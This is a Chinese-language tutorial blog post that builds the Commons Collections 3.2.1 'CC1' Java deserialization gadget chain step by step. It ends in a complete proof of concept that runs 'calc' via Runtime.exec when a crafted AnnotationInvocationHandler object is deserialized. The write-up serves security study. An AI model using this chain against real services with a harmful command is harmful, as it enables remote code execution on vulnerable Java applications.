0x00 环境

jdk版本1.8.0-65,commons collections版本3.2.1, maven如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>CC1</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>jar</packaging>

<name>CC1</name>
<url>http://maven.apache.org</url>

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
</project>

8u65源码:https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip 需要将jdk-af660750b2f4\src\share\classes\sun复制到jdk1.8.0_65\src.zip\sun


0x01 先写一些没上传到博客里的东西。

Java要执行系统命令需要用Runtime类实例化一个对象,然后调用exec()方法。然而实例化Runtime对象也不是直接调用其构造函数,而是调用getRuntime()方法直接获取实例化对象(Java中的单例模式)。所以正确执行系统命令应该这样写

1
2
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc");

而利用反序列化执行系统命令也需要这样一个执行环境,但正常的调用方式并不能在反序列化的漏洞利用中实现,因为Runtime不一定直接import到了代码中。使用反射可以动态地加载类,当然也可以动态加载Runtime类,所以我们需要将上面的代码转换成反射的方式。先用反射获取一下runtime对象

1
2
3
4
Class runtimeClass = Runtime.class;
// Object runtime = runtimeClass.newInstance(); // 这是正常的类反射实现对象实例化的方法,但是这里不行,需要按下面的写法
Method getRuntimeMethod = runtimeClass.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(null); // 静态方法,调用对象为null

然后就可以继续往下执行系统命令了,只要按照正常的方式,利用反射获取方法并调用

1
2
Method execMethod = runtimeClass.getMethod("exec", String.class);
execMethod.invoke(runtime, "calc");

0x02 找利用链的思路

  1. 入口类。这个类需要有个重写过的readObject(),并且能接收任意类型对象作为参数(即参数接收Object或者Object[])。当然,不是说有重写的必然有继续利用的可能,只是重写后的readObject()才有可能找到继续往下走的机会。
  2. 危险方法。一般当然是可调用的runtime.exec(),毕竟能执行任意命令,但不一定是代码里真的有写runtime.exec(),往往是通过代码某处可控的反射,就像上面那样,让我们有机会弹个计算器。
  3. 连接危险方法到入口类。中间需要利用的类也都必须能够反序列化,且需要接收Object或集合类型(Map、List等)作为参数。一般来说从后往前找是比较方便的,中间的连接过程一般是两个不同的类调用了同名的方法(比如下文中的transform()方法)

0x03 CC1的启始(找危险方法)

既然是CC链,那就先了解一下Commons Collections是个什么东西吧。Collections是Apache Commons下的一个组件,是对java.util.Collections的拓展。总之就当作是一个牛逼的拓展库吧,所以很多框架会用,因此出现漏洞后也产生了不小的危害。

一切的一切,需要从Transformer这个接口讲起。查看一下Transformer接口的实现类,其中InvokeTransformer就是我们需要的可以调用危险函数的类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

0x04 用InvokerTransfomer和ChainedTransformer重写反射

根据InvokerTransformer构造函数和transform方法try的代码块中的三行代码,很明显的可以用反射调用任意方法。我们需要用InvokerTransfomer重写一下原本的反射调用,因为Runtime对象不能被序列化。这里把上面的代码搬下来,方便对照。

1
2
3
4
5
Class runtimeClass = Runtime.class;
Method getRuntimeMethod = runtimeClass.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(null);
Method execMethod = runtimeClass.getMethod("exec", String.class);
execMethod.invoke(runtime, "calc");

稍微简写一下(虽然是简写,但我觉得明显降低了代码可读性),并且修改一些部分,这边是为了方便后面的重写

1
2
3
4
Method getRuntimeMethod = Runtime.class.getMethod("getRuntime"); // 不再定义一个Class的局部变量,直接getMethod
Runtime runtime = (Runtime) getRuntimeMethod.invoke(null); // 强转为Runtime类型
Method execMethod = runtimeClass.getMethod("exec", String.class)
execMethod.invoke(runtime, "calc");

然后就是用InvokerTransformer重写一下。但是我其实摸了好几遍才弄明白,大概是Java还不够熟练吧。

1
2
3
4
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(runtime);

获取Runtime对象相当于用InvokerTransformer反射调用原本的反射相关方法,再反射得到runtime,exec()就是正常的重写了。话说本想具体分析一下这么长的语句是怎么写出来的,然后实在懒得写上来。其实就是

  1. 获取方法+执行方法。比如第一个参数传入方法名"getMethod"。然后第二个参数传入该方法的参数类型(这个和原版的getMethod一样),这个要对照一下方法的定义,比如getMethod就需要一个String和一个Class[]。再然后就是传入该方法的参数。
  2. 调用transform方法,其实有点像invoke吧,比如第一句就是要传入Runtime的类。

当然,注意到比如getMethod("getRuntime")在改写后相当于写成了getMethod("getRuntime", null),因为需要严格按照获取方法的参数表传值,即使这里原本可以省略掉null。当然,可能更好的写法是依据参数类型传递空值进去?目前没发现两者有何区别。

再然后,我们还可以用一个叫做ChainedTransformer的类简化以上一长串的InvokerTransformer。从字面意思来看,这个类就是把一堆的Transformer串成一条链。

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

用一个Transformer数组接收上面new出来的一堆InvokerTransformer,然后再用ChainedTransformer调用。而ChainedTransformer的执行,先是new ChainedTransformer时将transformers的每一个存入数组,然后调用ChainedTransformer的transform()方法时,将参数作为数组第1个元素的transform()方法的参数,再将第一个的执行结果作为第二个的transform()方法的参数,以此类推到最后一个。

现在,我们成功构造了一段可序列化的危险代码,并且需要调用transform()方法。因此接下来寻找利用链,即是要寻找如何用其他类触发这个transform()。


0x05 寻找利用链

根据上面找利用链的思路,transform()正是一个方便我们串起入口类和危险方法的好东西,因为Transformer的实现类也需要实现transform()方法。我们可以在IDEA中选中transform,然后右键查找用法,可以在Maven:commons-collections:commons-collections:3.2.l中找到17个结果,其中org.apache.commons.collections.map包中可以找到5个结果,TransformedMap就是CC1链所需要的类了。

我们选择checkSetValue()方法的transform()调用入手

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

可以去构造函数看一下valueTransformer是个什么东西

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

这个构造函数其实就是传入一个Map对象和两个Transformer对象,分别对该map的key和value进行操作,如何操作就看你传入的Transformer对象干了什么了。但关键是这居然是个protected的构造函数,说明这个构造函数只能被自己调用,我们要找找是哪个方法调用的。可以找到一个decorate()方法

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

而且这是个静态方法,我们可以直接调用。简单试一下

1
2
3
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

因为我们只是想调用到checkSetValue(),所以我们给valueTransformer传参就行,keyTransformer传null。然后我们还得看看什么时候会调用到checkSetValue()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value); // <----------这里
return entry.setValue(value);
}
}

可以看到AbstractInputCheckedMapDecorator中的MapEntry类的setValue()是唯一用法,并且AbstractInputCheckedMapDecorator是TransformedMap的父类(伏笔)。对于这个类来说,是在对Map.Entry操作,那么Entry是什么呢?其实简单说就是把键值对的关系抽象成了Entry类。写个foreach取一下我们的hashMap对象中的东西吧

1
2
3
4
5
for (Map.Entry entry : hashMap.entrySet()) {
System.out.println(entry.getKey() + " " + entry.getValue());
}

//输出:key value

所以我们也可以用同样的方式尝试调用处理过的hashMap的setValue(),就可以弹计算器了。所以我们目前的代码是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

for (Map.Entry entry : transformedMap.entrySet()) {
entry.setValue(Runtime.class);
}

entry.setValue(Runtime.class);这句代码运行时,setValue()会跳转到trasformedMap的父类的实现,也就是上面MapEntry的setValue()方法。然后该方法运行value = parent.checkSetValue(value);则调用TransformedMap的checkSetValue()。这样我们就已经串起来了一大部分了。所以我们接下来需要继续往上找,看看有没有什么路径能连上某个readObject(),当然最好有个readObject()的重写里直接使用了setValue(),并且传入的参数可控,这样我们就找到头了。


0x06 找到合适的readObject()了!

这就很巧了,在sun.reflect.annotation包下的AnnotationlnvocationHandler类中的readObject()就有setValue()。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue( // <-------------------------------------这里
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

这里的readObject()里实现了一个Map.Entry的遍历,里面就用到了setValue()。那么我们可不可以控制readObject()里需要的这个Map呢?让我们看看构造函数

1
2
3
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
......
}

构造函数接收的参数包括一个Annotation(注解)泛型的Class,还有一个我们可控的Map。但是我们想实例化这个类也没那么容易

1
class AnnotationInvocationHandler implements InvocationHandler, Serializable {

这个类的定义不是public class,而没有声明为public的话,默认则是default,只有在包内才有访问权限。所以我们又得请出万能的反射,这次我们需要通过包名(最前面的package)获得类

1
2
3
4
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 相当于是package.类名
Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object object = aihConstructor.newInstance(Override.class, transformedMap);

注意,因为构造函数也不是public,所以是getDeclaredConstructor,并且要setAccessible(true)才可以访问。然后才newInstance()获取实例。

最后,我们把所有代码串起来,然后序列化再反序列化,就可以触发了……吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object object = aihConstructor.newInstance(Override.class, transformedMap);

serialize(object);
unserialize("ser.bin");
}

public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

public static Object unserialize(String path) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}

0x07 还需处理的小细节

其实上面那段代码依然无法触发,但我们整个链子已经连起来了。因为前面都测试好了,其实我们只剩readObject()这里还没测试。跟进调试看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

首先第一个if就把我们弹出来了,也就是我们的memberType为null。那memberType是啥呢?其实这个for循环的前两行就已经说明了问题。

1
2
3
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { // foreach获取键值对
String name = memberValue.getKey(); // getKey()从键值对中的key获取字符串,变量名name
Class<?> memberType = memberTypes.get(name); // 通过name字符串获取Class,有点像Class.forname(name)这样,获得memberType

然而我们传入的Override.class其实并没有memberType(也就是参数,很明显用的时候都是直接@Override(),并没有往括号里写什么东西),所以我们需要一个有memberType的注解,并且传入的map的key需要是这个参数名。比如我写在整个类之前的@SuppressWarnings(“all”)(当然自动语法检查挺好,关不关看情况),这个就传了个字符串all。所以我们可以把代码改成这样

1
2
3
4
5
6
7
8
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value"); // 原本key的位置改成了"value"
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object object = aihConstructor.newInstance(SuppressWarnings.class, transformedMap); // 传入的Override.class改了

现在我们就满足memberType != null了。然后下一个if其实我们也可以直接通过,java.lang.Class.isInstance() 确定指定的对象是否与该类表示的对象分配兼容,说人话就是判断是否可以进行类型的强制转换。所以我们终于走到setValue()了,但事情仍未结束,因为这里的setValue()传入的是AnnotationTypeMismatchExceptionProxy类的对象,而我们原本希望传入的是Runtime.class。我们可以调试跟进到TransformedMap中的checkSetValue()看一下

1
2
3
4
5
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
// 我们原本希望执行的:chainedTransformer.transform(Runtime.class);
// 现在实际执行的:chainedTransformer.transform(new AnnotationTypeMismatchExceptionProxy(...));

这里我们又需要一个奇怪的东西帮助。让我们看看ConstantTransformer中的transform

1
2
3
public Object transform(Object input) {
return iConstant;
}

真是个奇怪的方法,不管传入什么对象进去,返回的都是iConstant。诶,那是不是可以先让iConstant这个变量为Runtime.class,然后上面那里传入AnnotationTypeMismatchExceptionProxy类的对象也会返回Runtime.class,这不就成了。那么怎么控制iConstant呢?让我们看看构造函数

1
2
3
4
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

很好,new的时候直接传入构造函数就可以了。所以现在我们要改一下chainedTransformer

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

也就是在最前面加上new ConstantTransformer(Runtime.class)就可以了。现在我们再运行,就可以成功弹出计算器了。


0x08 大功告成!

最后附上整段Commons Collections 1的代码,整个代码和blog真是写得好辛苦啊

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

@SuppressWarnings("all")
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "key should be \"value\", and value can be any object");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object object = aihConstructor.newInstance(SuppressWarnings.class, transformedMap);

serialize(object);
unserialize("ser.bin");
}

public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

public static Object unserialize(String path) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}
}

0x09 后续补充

想了想还是写个流程吧,算是巩固一下

1
2
3
4
5
6
7
8
/**
* 利用链:
* AnnotationInvocationHandler.readObject() -> memberValue.setValue()
* (AbstractInputCheckedMapDecorator) MapEntry.setValue() -> parent.checkSetValue(value)
* TransformedMap.checkSetValue() -> valueTransformer.transform(value)
* InvokerTransformer.transform() -> method.invoke(input, iArgs)
* Runtime.exec()
*/

然后CC1其实还有个LazyMap的版本,也是ysoserial的CC1使用的链,本想补充在下面,但是感觉好像有点多,再单独写一个吧。


0x0a 再更新

学了一点mermaid,尝试写成流程图

graph TD;
	start("AnnotationInvocationHandler.readObject()")
	final("Runtime.exec()")
	
	start -->|"memberValue.setValue(...)"| TransformedMap1["(AbstractInputCheckedMapDecorator) MapEntry.setValue()"]
	TransformedMap1 -->|"parent.checkSetValue(value)"| TransformedMap2["TransformedMap.checkSetValue()"]
	TransformedMap2 -->|"valueTransformer.transform(value)"| TransformedMap3["InvokerTransformer.transform()"]
	TransformedMap3 -->|"method.invoke(input, iArgs)"| final